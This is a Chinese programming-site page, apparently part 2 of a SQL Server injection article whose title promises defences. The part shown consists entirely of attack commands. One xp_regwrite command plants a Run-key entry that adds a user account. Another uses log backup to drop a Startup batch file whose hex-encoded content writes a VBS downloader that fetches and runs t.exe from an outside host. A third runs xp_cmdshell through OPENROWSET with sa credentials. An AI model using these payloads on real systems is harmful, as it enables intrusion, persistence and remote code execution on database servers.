程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL Server 注入大全及防御(2)

SQL Server 注入大全及防御(2)

編輯:關於SqlServer

  二、寫任意文件執行命令

  利用xp_regwrite寫注冊表項,直接把要執行的命令寫入RUN啟動項。

  EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MacHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ','C:\Windows\system32\cmd.exe /c net user ray ray /add'

  

  備份日志到啟動項

  我們可以開啟一個數據庫的完全恢復模式,然後新建個表,插入要備份進日志的命令,最後把日志備份成批處理文件到用戶啟動文件夾,機器重新啟動後就會運行這個文件。

  alter database msdb set RECOVERY FULL--

  create table cmd (a image)--

  backup log msdb to disk = 'c:\cmd1' with init--

  insert into cmd (a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--

  backup log ISTO to disk = 'C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\1.bat'--

  drop table cmd--

  

  三、任意權限用戶執行命令

  在任意權限的服務器角色下,我們只要知道服務器的SYSADMIN角色的帳戶和密碼就能利用OPENROWSET宏執行命令

  select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

  

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved